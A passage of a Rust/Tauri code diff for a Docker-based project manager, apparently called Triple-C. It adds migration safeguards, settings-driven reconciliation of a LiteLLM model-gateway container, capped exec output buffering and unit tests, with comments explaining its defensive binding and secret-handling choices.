&settings.global_custom_env_vars,
|
||||
settings.timezone.as_deref(),
|
||||
settings.global_claude_code_settings.as_ref(),
|
||||
settings.default_ssh_key_path.as_deref(),
|
||||
settings.default_git_user_name.as_deref(),
|
||||
settings.default_git_user_email.as_deref(),
|
||||
&create_image,
|
||||
&image_name,
|
||||
docker::CreateExtras::default(),
|
||||
).await?;
|
||||
emit_progress(&app_handle, &project_id, "Starting container...");
|
||||
docker::start_container(&new_id).await?;
|
||||
@@ -377,30 +458,20 @@ pub async fn start_project_container(
|
||||
// Container doesn't exist (first start, or Docker pruned it).
|
||||
// Check for a snapshot image first — it preserves system-level
|
||||
// changes (apt/pip/npm installs) from the previous session.
|
||||
let snapshot_image = docker::get_snapshot_image_name(&project);
|
||||
let create_image = if docker::image_exists(&snapshot_image).await.unwrap_or(false) {
|
||||
if expected_create_image == snapshot_image {
|
||||
log::info!("Creating container from snapshot image for project {}", project.id);
|
||||
snapshot_image
|
||||
} else {
|
||||
image_name.clone()
|
||||
};
|
||||
}
|
||||
let create_image = expected_create_image.clone();
|
||||
|
||||
emit_progress(&app_handle, &project_id, "Creating container...");
|
||||
let new_id = docker::create_container(
|
||||
let new_id = create_container_for_project(
|
||||
&project,
|
||||
&settings,
|
||||
&docker_socket,
|
||||
&create_image,
|
||||
aws_config_path.as_deref(),
|
||||
&settings.global_aws,
|
||||
&settings.global_ollama,
|
||||
&settings.global_openai_compatible,
|
||||
settings.global_claude_instructions.as_deref(),
|
||||
&settings.global_custom_env_vars,
|
||||
settings.timezone.as_deref(),
|
||||
settings.global_claude_code_settings.as_ref(),
|
||||
settings.default_ssh_key_path.as_deref(),
|
||||
settings.default_git_user_name.as_deref(),
|
||||
settings.default_git_user_email.as_deref(),
|
||||
&create_image,
|
||||
&image_name,
|
||||
docker::CreateExtras::default(),
|
||||
).await?;
|
||||
emit_progress(&app_handle, &project_id, "Starting container...");
|
||||
docker::start_container(&new_id).await?;
|
||||
@@ -484,11 +555,28 @@ pub async fn rebuild_project_container(
|
||||
app_handle: tauri::AppHandle,
|
||||
state: State<'_, AppState>,
|
||||
) -> Result<Project, String> {
|
||||
// Reset deletes both volumes and the snapshot image. Doing that while a
|
||||
// migration is mid-flight pulls the ground out from under it and leaves an
|
||||
// orphan migration record pointing at images that no longer exist.
|
||||
if crate::commands::migration_commands::is_migrating(&project_id) {
|
||||
return Err(
|
||||
"A container base update is running for this project. Wait for it to finish before resetting."
|
||||
.to_string(),
|
||||
);
|
||||
}
|
||||
|
||||
let project = state
|
||||
.projects_store
|
||||
.get(&project_id)
|
||||
.ok_or_else(|| format!("Project {} not found", project_id))?;
|
||||
|
||||
// Reset supersedes any migration decision that was still pending: the
|
||||
// snapshot image and both volumes are about to go, so a surviving record
|
||||
// could only describe things that no longer exist — while its
|
||||
// `:pre-migration-<ts>` tag held a whole snapshot image (multiple GB) alive
|
||||
// with nothing left that could ever use it.
|
||||
crate::commands::migration_commands::purge_migration_artifacts(&project_id).await;
|
||||
|
||||
// The bridge is bound to the container that is about to be destroyed;
|
||||
// `start_project_container` below re-arms it against the new one.
|
||||
state.auth_bridge.stop(&project_id).await;
|
||||
@@ -517,6 +605,13 @@ pub async fn rebuild_project_container(
|
||||
/// Called by the frontend after Docker is confirmed available. Projects
|
||||
/// marked as Running whose containers are no longer running get reset
|
||||
/// to Stopped.
|
||||
///
|
||||
/// This is also where an interrupted **base-image migration** is picked up.
|
||||
/// It runs at startup, which is exactly when a migration that died with the app
|
||||
/// needs to be noticed — see
|
||||
/// [`crate::commands::migration_commands::reconcile_migration`]. The migration
|
||||
/// pass runs over *every* project, not just the Running ones, because a project
|
||||
/// whose container was removed mid-migration reports Stopped.
|
||||
#[tauri::command]
|
||||
pub async fn reconcile_project_statuses(
|
||||
app_handle: tauri::AppHandle,
|
||||
@@ -525,7 +620,31 @@ pub async fn reconcile_project_statuses(
|
||||
let projects = state.projects_store.list();
|
||||
|
||||
for project in &projects {
|
||||
if project.status != ProjectStatus::Running && project.status != ProjectStatus::Error {
|
||||
crate::commands::migration_commands::reconcile_migration(project, &app_handle).await;
|
||||
}
|
||||
|
||||
for project in &projects {
|
||||
// `Starting` and `Stopping` are in here as a backstop, not because
|
||||
// anything is expected to leave a project in one. They are transitional
|
||||
// states owned by an in-flight command, so a project still wearing one
|
||||
// is a project whose command died — a crash mid-start, or a migration
|
||||
// that bailed out between the stop and the swap. Skipping them, as this
|
||||
// loop used to, meant nothing in the app ever put such a project right:
|
||||
// it sat at "Stopping" with the Start button disabled, permanently.
|
||||
// Docker is the authority either way, so the check below is correct for
|
||||
// all four.
|
||||
if !matches!(
|
||||
project.status,
|
||||
ProjectStatus::Running
|
||||
| ProjectStatus::Error
|
||||
| ProjectStatus::Starting
|
||||
| ProjectStatus::Stopping
|
||||
) {
|
||||
continue;
|
||||
}
|
||||
// ...but never for a project this process is actively migrating: the
|
||||
// container is legitimately absent for part of that run.
|
||||
if crate::commands::migration_commands::is_migrating(&project.id) {
|
||||
continue;
|
||||
}
|
||||
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
use tauri::State;
|
||||
|
||||
use crate::docker;
|
||||
use crate::models::gateway_settings::GatewaySettings;
|
||||
use crate::models::AppSettings;
|
||||
use crate::AppState;
|
||||
|
||||
@@ -14,7 +15,94 @@ pub async fn update_settings(
|
||||
settings: AppSettings,
|
||||
state: State<'_, AppState>,
|
||||
) -> Result<AppSettings, String> {
|
||||
state.settings_store.update(settings)
|
||||
let before = state.settings_store.get();
|
||||
let saved = state.settings_store.update(settings)?;
|
||||
|
||||
// Persisting a setting is not the same as applying it. The gateway is the
|
||||
// one settings block that owns a *container*, so a saved change that the
|
||||
// running container doesn't reflect is a live desync, not a preference.
|
||||
reconcile_gateway(&before.gateway, &saved.gateway).await;
|
||||
|
||||
Ok(saved)
|
||||
}
|
||||
|
||||
/// What a settings save has to do to the gateway container to stay honest.
|
||||
///
|
||||
/// Kept separate from the IPC command and expressed over plain settings so the
|
||||
/// decision is testable without Docker.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
enum GatewayAction {
|
||||
/// Nothing to do.
|
||||
None,
|
||||
/// The gateway is off — a container left running must be stopped.
|
||||
StopIfRunning,
|
||||
/// The published shape moved. A *running* container is now serving on the
|
||||
/// old binding while status reports the new one, so it has to be recreated.
|
||||
RestartIfRunning,
|
||||
}
|
||||
|
||||
/// Whether the container's published shape (as opposed to a purely cosmetic
|
||||
/// field) changed. Provider, models and base URL all change the rendered
|
||||
/// LiteLLM config, which is only read at boot.
|
||||
fn gateway_shape_changed(before: &GatewaySettings, after: &GatewaySettings) -> bool {
|
||||
before.port != after.port
|
||||
|| before.provider.trim() != after.provider.trim()
|
||||
|| before.api_base.as_deref().unwrap_or("").trim()
|
||||
!= after.api_base.as_deref().unwrap_or("").trim()
|
||||
|| before.valid_models() != after.valid_models()
|
||||
}
|
||||
|
||||
fn gateway_action(before: &GatewaySettings, after: &GatewaySettings) -> GatewayAction {
|
||||
if !after.enabled {
|
||||
// Includes the case where it was already disabled: a container found
|
||||
// running while the feature is off should not stay up.
|
||||
return GatewayAction::StopIfRunning;
|
||||
}
|
||||
if gateway_shape_changed(before, after) {
|
||||
return GatewayAction::RestartIfRunning;
|
||||
}
|
||||
GatewayAction::None
|
||||
}
|
||||
|
||||
/// Apply [`gateway_action`]. Never fails the settings save: the settings *are*
|
||||
/// saved by this point, and a Docker hiccup must not make the UI think they
|
||||
/// weren't. Both paths are no-ops when no container exists, so this stays cheap
|
||||
/// on the overwhelmingly common "gateway not in use" save.
|
||||
async fn reconcile_gateway(before: &GatewaySettings, after: &GatewaySettings) {
|
||||
let action = gateway_action(before, after);
|
||||
if action == GatewayAction::None {
|
||||
return;
|
||||
}
|
||||
|
||||
let (exists, running) = match docker::gateway::gateway_container_presence().await {
|
||||
Ok(presence) => presence,
|
||||
// Docker down: there is nothing running to desync from.
|
||||
Err(e) => {
|
||||
log::debug!("Gateway reconcile skipped ({})", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
if !exists || !running {
|
||||
return;
|
||||
}
|
||||
|
||||
match action {
|
||||
GatewayAction::StopIfRunning => {
|
||||
log::info!("Model gateway disabled in settings — stopping the container");
|
||||
if let Err(e) = docker::gateway::stop_gateway_container().await {
|
||||
log::error!("Failed to stop the model gateway after it was disabled: {}", e);
|
||||
}
|
||||
}
|
||||
GatewayAction::RestartIfRunning => {
|
||||
log::info!("Model gateway settings changed — recreating the container");
|
||||
// The fingerprint no longer matches, so this stops, removes and
|
||||
// recreates with the new port/config in one step.
|
||||
if let Err(e) = docker::gateway::ensure_gateway_running(after).await {
|
||||
log::error!("Failed to apply the new model gateway settings: {}", e);
|
||||
}
|
||||
}
|
||||
GatewayAction::None => unreachable!(),
|
||||
}
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
@@ -115,3 +203,96 @@ pub async fn list_aws_profiles() -> Result<Vec<String>, String> {
|
||||
|
||||
Ok(profiles)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use crate::models::gateway_settings::GatewayModel;
|
||||
|
||||
fn enabled_gateway() -> GatewaySettings {
|
||||
GatewaySettings {
|
||||
enabled: true,
|
||||
port: 4000,
|
||||
provider: "openai".to_string(),
|
||||
api_base: None,
|
||||
models: vec![GatewayModel {
|
||||
name: "gpt-5.1".to_string(),
|
||||
model_id: "gpt-5.1".to_string(),
|
||||
}],
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn disabling_the_gateway_stops_it() {
|
||||
// The bug: turning the toggle off only persisted `enabled: false` and
|
||||
// hid the Stop button, leaving a container serving with no way to stop
|
||||
// it.
|
||||
let before = enabled_gateway();
|
||||
let mut after = before.clone();
|
||||
after.enabled = false;
|
||||
assert_eq!(gateway_action(&before, &after), GatewayAction::StopIfRunning);
|
||||
// Still true when it was already off — a stray running container is
|
||||
// still a container that shouldn't be up.
|
||||
assert_eq!(gateway_action(&after, &after), GatewayAction::StopIfRunning);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn changing_the_port_reconciles_the_container() {
|
||||
// Otherwise status reports the new port while the container keeps the
|
||||
// old binding, and every project gets a broken ANTHROPIC_BASE_URL.
|
||||
let before = enabled_gateway();
|
||||
let mut after = before.clone();
|
||||
after.port = 4100;
|
||||
assert_eq!(
|
||||
gateway_action(&before, &after),
|
||||
GatewayAction::RestartIfRunning
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn config_changes_that_only_take_effect_at_boot_reconcile_too() {
|
||||
let before = enabled_gateway();
|
||||
|
||||
let mut provider = before.clone();
|
||||
provider.provider = "groq".to_string();
|
||||
assert_eq!(
|
||||
gateway_action(&before, &provider),
|
||||
GatewayAction::RestartIfRunning
|
||||
);
|
||||
|
||||
let mut api_base = before.clone();
|
||||
api_base.api_base = Some("https://example.test/v1".to_string());
|
||||
assert_eq!(
|
||||
gateway_action(&before, &api_base),
|
||||
GatewayAction::RestartIfRunning
|
||||
);
|
||||
|
||||
let mut models = before.clone();
|
||||
models.models[0].model_id = "gpt-4.1".to_string();
|
||||
assert_eq!(
|
||||
gateway_action(&before, &models),
|
||||
GatewayAction::RestartIfRunning
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn saving_an_unchanged_or_half_typed_gateway_touches_nothing() {
|
||||
let before = enabled_gateway();
|
||||
assert_eq!(gateway_action(&before, &before), GatewayAction::None);
|
||||
|
||||
// Whitespace-only edits don't reach the rendered config.
|
||||
let mut trimmed = before.clone();
|
||||
trimmed.provider = " openai ".to_string();
|
||||
trimmed.api_base = Some(" ".to_string());
|
||||
assert_eq!(gateway_action(&before, &trimmed), GatewayAction::None);
|
||||
|
||||
// A half-filled model row is skipped when rendering, so it must not
|
||||
// bounce a live container either.
|
||||
let mut half_typed = before.clone();
|
||||
half_typed.models.push(GatewayModel {
|
||||
name: "gpt".to_string(),
|
||||
model_id: String::new(),
|
||||
});
|
||||
assert_eq!(gateway_action(&before, &half_typed), GatewayAction::None);
|
||||
}
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -37,6 +37,22 @@ pub async fn create_attached_exec(
|
||||
container_id: &str,
|
||||
cmd: Vec<String>,
|
||||
tty: bool,
|
||||
) -> Result<AttachedExec, String> {
|
||||
create_attached_exec_as(container_id, cmd, tty, "claude", "/workspace").await
|
||||
}
|
||||
|
||||
/// [`create_attached_exec`] with the user and working directory spelled out.
|
||||
///
|
||||
/// Only base-image migration needs this: replaying `apt` and unpacking a
|
||||
/// payload tar at `/` have to run as **root**, and every other caller wants the
|
||||
/// `claude` / `/workspace` defaults that [`create_attached_exec`] supplies. It
|
||||
/// stays the single place an attached exec is opened.
|
||||
pub async fn create_attached_exec_as(
|
||||
container_id: &str,
|
||||
cmd: Vec<String>,
|
||||
tty: bool,
|
||||
user: &str,
|
||||
working_dir: &str,
|
||||
) -> Result<AttachedExec, String> {
|
||||
let docker = get_docker()?;
|
||||
|
||||
@@ -49,8 +65,8 @@ pub async fn create_attached_exec(
|
||||
attach_stderr: Some(true),
|
||||
tty: Some(tty),
|
||||
cmd: Some(cmd),
|
||||
user: Some("claude".to_string()),
|
||||
working_dir: Some("/workspace".to_string()),
|
||||
user: Some(user.to_string()),
|
||||
working_dir: Some(working_dir.to_string()),
|
||||
..Default::default()
|
||||
},
|
||||
)
|
||||
@@ -371,11 +387,96 @@ pub async fn upload_host_file_to_container(
|
||||
Ok(format!("/tmp/{}", dest_name))
|
||||
}
|
||||
|
||||
/// Write `data` into the container at `<dest_dir>/<file_name>` with `mode`.
|
||||
///
|
||||
/// For small, generated files — migration uses it for the `tar -T` include
|
||||
/// list, which can be too long to pass as argv. Anything large should be
|
||||
/// streamed through an attached exec's stdin instead, since this buffers the
|
||||
/// whole payload in memory twice (once raw, once tarred).
|
||||
pub async fn upload_bytes_to_container(
|
||||
container_id: &str,
|
||||
dest_dir: &str,
|
||||
file_name: &str,
|
||||
data: &[u8],
|
||||
mode: u32,
|
||||
) -> Result<String, String> {
|
||||
let docker = get_docker()?;
|
||||
|
||||
let mut tar_buf = Vec::with_capacity(data.len() + 1024);
|
||||
{
|
||||
let mut builder = tar::Builder::new(&mut tar_buf);
|
||||
let mut header = tar::Header::new_gnu();
|
||||
header.set_size(data.len() as u64);
|
||||
header.set_mode(mode);
|
||||
header.set_cksum();
|
||||
builder
|
||||
.append_data(&mut header, file_name, data)
|
||||
.map_err(|e| format!("Failed to create tar entry: {}", e))?;
|
||||
builder
|
||||
.finish()
|
||||
.map_err(|e| format!("Failed to finalize tar: {}", e))?;
|
||||
}
|
||||
|
||||
docker
|
||||
.upload_to_container(
|
||||
container_id,
|
||||
Some(UploadToContainerOptions {
|
||||
path: dest_dir.to_string(),
|
||||
..Default::default()
|
||||
}),
|
||||
tar_buf.into(),
|
||||
)
|
||||
.await
|
||||
.map_err(|e| format!("Failed to upload file to container: {}", e))?;
|
||||
|
||||
Ok(format!("{}/{}", dest_dir.trim_end_matches('/'), file_name))
|
||||
}
|
||||
|
||||
/// Ceiling on how much container output a one-shot exec will buffer into the
|
||||
/// host process.
|
||||
///
|
||||
/// Every `exec_oneshot*` call reads the whole stream into a `String` before any
|
||||
/// caller sees a byte, and what it is reading is *container-controlled* — the
|
||||
/// scheduler notifications reader `cat`s up to 50 files with no size cap, and
|
||||
/// the auth bridge reads `/proc/net/tcp` every two seconds. Neither has an
|
||||
/// upstream bound, so this is where the bound goes. Generous enough that no
|
||||
/// legitimate reader (the largest is a package manifest of a full image) comes
|
||||
/// close.
|
||||
pub const MAX_ONESHOT_OUTPUT: usize = 8 * 1024 * 1024;
|
||||
|
||||
/// The auth bridge's per-tick budget. It reads two procfs files whose rows are
|
||||
/// ~150 bytes; a real container has tens of listeners, and the parser only ever
|
||||
/// yields at most one entry per port number. 1 MiB is thousands of rows — far
|
||||
/// past anything genuine, far short of a problem.
|
||||
pub const PROC_NET_OUTPUT_LIMIT: usize = 1024 * 1024;
|
||||
|
||||
/// Append to `buf` while it stays inside `limit`. Returns `false` once the
|
||||
/// limit is exceeded, at which point the caller must stop reading.
|
||||
fn push_capped(buf: &mut String, chunk: &str, limit: usize) -> bool {
|
||||
if buf.len() + chunk.len() > limit {
|
||||
return false;
|
||||
}
|
||||
buf.push_str(chunk);
|
||||
true
|
||||
}
|
||||
|
||||
/// Run a one-shot (non-interactive) exec command in a container and collect stdout.
|
||||
pub async fn exec_oneshot(container_id: &str, cmd: Vec<String>) -> Result<String, String> {
|
||||
exec_oneshot_env(container_id, cmd, Vec::new()).await
|
||||
}
|
||||
|
||||
/// [`exec_oneshot`] with a caller-chosen output ceiling, for readers whose
|
||||
/// input is fully container-controlled and whose legitimate output is small.
|
||||
pub async fn exec_oneshot_limited(
|
||||
container_id: &str,
|
||||
cmd: Vec<String>,
|
||||
limit: usize,
|
||||
) -> Result<String, String> {
|
||||
exec_oneshot_inner(container_id, "claude", cmd, Vec::new(), limit)
|
||||
.await
|
||||
.map(|(output, _)| output)
|
||||
}
|
||||
|
||||
/// Like `exec_oneshot`, but passes additional environment variables to the exec
|
||||
/// process. Secrets passed this way live only in `/proc/<pid>/environ` (readable
|
||||
/// by the same user / root) rather than in the process argv, so they are not
|
||||
@@ -400,6 +501,32 @@ pub async fn exec_oneshot_env_status(
|
||||
container_id: &str,
|
||||
cmd: Vec<String>,
|
||||
env: Vec<String>,
|
||||
) -> Result<(String, i64), String> {
|
||||
exec_oneshot_as(container_id, "claude", cmd, env).await
|
||||
}
|
||||
|
||||
/// [`exec_oneshot_env_status`] with the user spelled out.
|
||||
///
|
||||
/// Base-image migration is the only caller that needs anything but `claude`:
|
||||
/// `apt-get`, `npm -g` and the payload unpack all run as **root**. Note that
|
||||
/// the container does grant `claude` passwordless sudo, but going through
|
||||
/// `sudo` would put the whole command in `ps` output and add a second failure
|
||||
/// mode to interpret, so the exec is simply created as root.
|
||||
pub async fn exec_oneshot_as(
|
||||
container_id: &str,
|
||||
user: &str,
|
||||
cmd: Vec<String>,
|
||||
env: Vec<String>,
|
||||
) -> Result<(String, i64), String> {
|
||||
exec_oneshot_inner(container_id, user, cmd, env, MAX_ONESHOT_OUTPUT).await
|
||||
}
|
||||
|
||||
async fn exec_oneshot_inner(
|
||||
container_id: &str,
|
||||
user: &str,
|
||||
cmd: Vec<String>,
|
||||
env: Vec<String>,
|
||||
limit: usize,
|
||||
) -> Result<(String, i64), String> {
|
||||
let docker = get_docker()?;
|
||||
|
||||
@@ -411,7 +538,7 @@ pub async fn exec_oneshot_env_status(
|
||||
attach_stderr: Some(true),
|
||||
cmd: Some(cmd),
|
||||
env: if env.is_empty() { None } else { Some(env) },
|
||||
user: Some("claude".to_string()),
|
||||
user: Some(user.to_string()),
|
||||
..Default::default()
|
||||
},
|
||||
)
|
||||
@@ -428,7 +555,19 @@ pub async fn exec_oneshot_env_status(
|
||||
StartExecResults::Attached { mut output, .. } => {
|
||||
while let Some(msg) = output.next().await {
|
||||
match msg {
|
||||
Ok(data) => combined.push_str(&String::from_utf8_lossy(&data.into_bytes())),
|
||||
Ok(data) => {
|
||||
let chunk = String::from_utf8_lossy(&data.into_bytes()).into_owned();
|
||||
if !push_capped(&mut combined, &chunk, limit) {
|
||||
// Stop reading rather than truncate silently: every
|
||||
// caller parses this output, and a half-read
|
||||
// manifest or JSON array is worse than an error.
|
||||
// Dropping `output` kills the exec's stream.
|
||||
return Err(format!(
|
||||
"Command output exceeded {} bytes and was abandoned",
|
||||
limit
|
||||
));
|
||||
}
|
||||
}
|
||||
Err(e) => return Err(format!("Exec output error: {}", e)),
|
||||
}
|
||||
}
|
||||
@@ -463,3 +602,42 @@ pub async fn wait_for_exec_exit(exec_id: &str) -> Option<i64> {
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn output_under_the_limit_is_buffered_whole() {
|
||||
let mut buf = String::new();
|
||||
assert!(push_capped(&mut buf, "hello ", 16));
|
||||
assert!(push_capped(&mut buf, "world", 16));
|
||||
assert_eq!(buf, "hello world");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn output_over_the_limit_is_refused_rather_than_truncated() {
|
||||
// The abandoned chunk must not land in the buffer either: a caller that
|
||||
// ignored the error would otherwise parse a half-read document.
|
||||
let mut buf = String::new();
|
||||
assert!(push_capped(&mut buf, "0123456789", 12));
|
||||
assert!(!push_capped(&mut buf, "0123456789", 12));
|
||||
assert_eq!(buf, "0123456789");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_single_oversized_chunk_is_refused() {
|
||||
let mut buf = String::new();
|
||||
assert!(!push_capped(&mut buf, "0123456789", 4));
|
||||
assert!(buf.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_bridge_budget_is_far_smaller_than_the_general_one() {
|
||||
// The auth bridge re-reads container-controlled procfs every 2s, so it
|
||||
// gets a tighter ceiling than one-shot readers that run on demand.
|
||||
assert!(PROC_NET_OUTPUT_LIMIT < MAX_ONESHOT_OUTPUT);
|
||||
// …but still comfortably above a genuine /proc/net/tcp{,6} pair.
|
||||
assert!(PROC_NET_OUTPUT_LIMIT > 100 * 150);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,949 @@
|
||||
//! Lifecycle for the **model gateway** container — a pinned LiteLLM proxy that
|
||||
//! Triple-C runs as a sibling of the project containers.
|
||||
//!
|
||||
//! Shape mirrors `docker::stt`: an image that is either pulled from a registry
|
||||
//! or built locally from an embedded Dockerfile, a fixed container name, a
|
||||
//! named volume, and `get_* / ensure_*_running / stop_* / pull_* / build_*`.
|
||||
//!
|
||||
//! Two things differ from STT, both deliberate:
|
||||
//!
|
||||
//! * **The published host address is *detected*, not fixed.** STT is consumed
|
||||
//! by the Tauri host process, so loopback is always enough. The gateway is
|
||||
//! consumed by *project containers*, and how a container reaches the host
|
||||
//! depends on the engine — so the bind address does too. See
|
||||
//! [`GatewayBinding`]. It is never `0.0.0.0`: the config behind this port
|
||||
//! holds a billed provider key, and Docker's published-port rules land in the
|
||||
//! `DOCKER` iptables chain *ahead* of a host firewall, so a wildcard bind is
|
||||
//! genuinely LAN-reachable even with `ufw` enabled.
|
||||
//! * **The rendered config is uploaded into the container over the Docker
|
||||
//! API** rather than passed as env. It holds the provider API key, and both
|
||||
//! env vars and labels are readable by anything on the host via
|
||||
//! `docker inspect`.
|
||||
|
||||
use bollard::container::{
|
||||
Config, CreateContainerOptions, ListContainersOptions, RemoveContainerOptions,
|
||||
StartContainerOptions, StopContainerOptions, UploadToContainerOptions,
|
||||
};
|
||||
use bollard::image::BuildImageOptions;
|
||||
use bollard::models::{HostConfig, Mount, MountTypeEnum, PortBinding};
|
||||
use bollard::network::InspectNetworkOptions;
|
||||
use bollard::Docker;
|
||||
use futures_util::StreamExt;
|
||||
use sha2::{Digest, Sha256};
|
||||
use std::collections::HashMap;
|
||||
use std::io::Write;
|
||||
use std::sync::OnceLock;
|
||||
use tokio::sync::{Mutex, OnceCell};
|
||||
|
||||
use super::client::get_docker;
|
||||
use crate::models::gateway_settings::{GatewaySettings, GatewayStatus};
|
||||
use crate::storage::secure;
|
||||
|
||||
const GATEWAY_CONTAINER_NAME: &str = "triple-c-gateway";
|
||||
const GATEWAY_CONFIG_VOLUME: &str = "triple-c-gateway-config";
|
||||
|
||||
/// Upstream LiteLLM, pinned to an exact release.
|
||||
///
|
||||
/// LiteLLM 1.82.7 and 1.82.8 shipped credential-harvesting malware on PyPI, so
|
||||
/// nothing here may float a tag or resolve `litellm` at build time. v1.96.0 is
|
||||
/// also above the 1.84.0 floor set by the proxy auth-bypass CVEs — see the long
|
||||
/// comment in `gateway-container/Dockerfile`, and keep the two in lockstep.
|
||||
const GATEWAY_REGISTRY_IMAGE: &str = "ghcr.io/berriai/litellm:v1.96.0";
|
||||
const GATEWAY_LOCAL_IMAGE: &str = "triple-c-gateway:latest";
|
||||
|
||||
const GATEWAY_DOCKERFILE: &str = include_str!("../../../../gateway-container/Dockerfile");
|
||||
const GATEWAY_DEFAULT_CONFIG: &str = include_str!("../../../../gateway-container/config.yaml");
|
||||
|
||||
/// Where the generated config lands inside the container. Backed by
|
||||
/// [`GATEWAY_CONFIG_VOLUME`] so the file with the provider key lives in a
|
||||
/// Docker-managed volume rather than an image layer.
|
||||
const GATEWAY_CONFIG_DIR: &str = "/etc/litellm";
|
||||
const GATEWAY_CONFIG_PATH: &str = "/etc/litellm/config.yaml";
|
||||
|
||||
/// Container-side port. Only the *host* port is user-configurable.
|
||||
const GATEWAY_INTERNAL_PORT: u16 = 4000;
|
||||
|
||||
const CONFIG_FINGERPRINT_LABEL: &str = "triple-c.gateway.config-fingerprint";
|
||||
|
||||
/// The default bridge gateway address on a stock native-Linux engine. Only a
|
||||
/// fallback: the real value is read from the `bridge` network's IPAM config.
|
||||
const DEFAULT_BRIDGE_GATEWAY: &str = "172.17.0.1";
|
||||
|
||||
/// Where the gateway's published port is bound on the host, and the address a
|
||||
/// *project container* uses to reach it.
|
||||
///
|
||||
/// Project containers run on Docker's default bridge with no user-defined
|
||||
/// network and no `--add-host`, so the only address they share with the gateway
|
||||
/// is the host itself — but *which* host address works is engine-specific, and
|
||||
/// the whole point of this type is that the two answers are derived together so
|
||||
/// they cannot drift apart:
|
||||
///
|
||||
/// * **Docker Desktop** (macOS / Windows / WSL2) resolves `host.docker.internal`
|
||||
/// from inside containers automatically, and its port forwarder reaches the
|
||||
/// host's *loopback*. So: bind `127.0.0.1`, hand out `host.docker.internal`.
|
||||
/// * **Native Linux Docker** injects no `host.docker.internal`, and the address
|
||||
/// containers share with the host is the default bridge gateway (normally
|
||||
/// `172.17.0.1`). So: bind that address, and hand out the same literal.
|
||||
///
|
||||
/// Neither case binds `0.0.0.0`. The bridge-gateway bind is reachable from
|
||||
/// every container on the default bridge — which is the requirement — without
|
||||
/// publishing a key-bearing proxy to the LAN.
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub struct GatewayBinding {
|
||||
/// Host address the published port is bound to (`HostIp`).
|
||||
pub host_ip: String,
|
||||
/// Host address a project container should dial.
|
||||
pub container_host: String,
|
||||
}
|
||||
|
||||
impl GatewayBinding {
|
||||
fn desktop() -> Self {
|
||||
Self {
|
||||
host_ip: "127.0.0.1".to_string(),
|
||||
container_host: "host.docker.internal".to_string(),
|
||||
}
|
||||
}
|
||||
|
||||
fn bridge(gateway_ip: &str) -> Self {
|
||||
Self {
|
||||
host_ip: gateway_ip.to_string(),
|
||||
container_host: gateway_ip.to_string(),
|
||||
}
|
||||
}
|
||||
|
||||
/// The value a project should use as its base URL (`ANTHROPIC_BASE_URL`).
|
||||
pub fn base_url(&self, port: u16) -> String {
|
||||
format!("http://{}:{}", self.container_host, port)
|
||||
}
|
||||
|
||||
/// The address the *host* process (health checks) should dial.
|
||||
fn host_url(&self, port: u16) -> String {
|
||||
format!("http://{}:{}", self.host_ip, port)
|
||||
}
|
||||
}
|
||||
|
||||
/// Decide the binding from what the daemon reports. Pure, so the engine-shape
|
||||
/// matrix is testable without a daemon.
|
||||
fn binding_for(operating_system: &str, bridge_gateway: Option<&str>) -> GatewayBinding {
|
||||
// Docker Desktop reports exactly "Docker Desktop" here on every platform it
|
||||
// ships for; matched loosely so a future suffix doesn't silently flip us
|
||||
// onto the bridge path.
|
||||
if operating_system.to_ascii_lowercase().contains("docker desktop") {
|
||||
return GatewayBinding::desktop();
|
||||
}
|
||||
GatewayBinding::bridge(
|
||||
bridge_gateway
|
||||
.map(str::trim)
|
||||
.filter(|g| !g.is_empty())
|
||||
.unwrap_or(DEFAULT_BRIDGE_GATEWAY),
|
||||
)
|
||||
}
|
||||
|
||||
/// Detection is one `info` + one `inspect_network` per process; the answer
|
||||
/// cannot change without the engine being replaced under us.
|
||||
static GATEWAY_BINDING: OnceCell<GatewayBinding> = OnceCell::const_new();
|
||||
|
||||
/// The gateway's host binding, detected once and cached.
|
||||
///
|
||||
/// When Docker is unreachable the *loopback* answer is returned without being
|
||||
/// cached: it is the conservative one (nothing is published anywhere yet, and
|
||||
/// the only caller in that state is status reporting), and the next call
|
||||
/// re-detects once the daemon is up.
|
||||
pub async fn gateway_binding() -> GatewayBinding {
|
||||
if let Some(binding) = GATEWAY_BINDING.get() {
|
||||
return binding.clone();
|
||||
}
|
||||
match detect_binding().await {
|
||||
Ok(binding) => {
|
||||
let _ = GATEWAY_BINDING.set(binding.clone());
|
||||
binding
|
||||
}
|
||||
Err(e) => {
|
||||
log::debug!("Gateway bind detection deferred ({}), assuming loopback", e);
|
||||
GatewayBinding::desktop()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn detect_binding() -> Result<GatewayBinding, String> {
|
||||
let docker = get_docker()?;
|
||||
let info = docker
|
||||
.info()
|
||||
.await
|
||||
.map_err(|e| format!("Failed to query the Docker daemon: {}", e))?;
|
||||
let operating_system = info.operating_system.unwrap_or_default();
|
||||
let gateway_ip = bridge_gateway_ip(&docker).await;
|
||||
let binding = binding_for(&operating_system, gateway_ip.as_deref());
|
||||
log::info!(
|
||||
"Model gateway will publish on {} (engine OS: {})",
|
||||
binding.host_ip,
|
||||
if operating_system.is_empty() {
|
||||
"unknown"
|
||||
} else {
|
||||
&operating_system
|
||||
}
|
||||
);
|
||||
Ok(binding)
|
||||
}
|
||||
|
||||
/// The default bridge's gateway address, straight from its IPAM config, so a
|
||||
/// host whose bridge subnet was customised still gets a reachable bind.
|
||||
async fn bridge_gateway_ip(docker: &Docker) -> Option<String> {
|
||||
let network = docker
|
||||
.inspect_network("bridge", None::<InspectNetworkOptions<String>>)
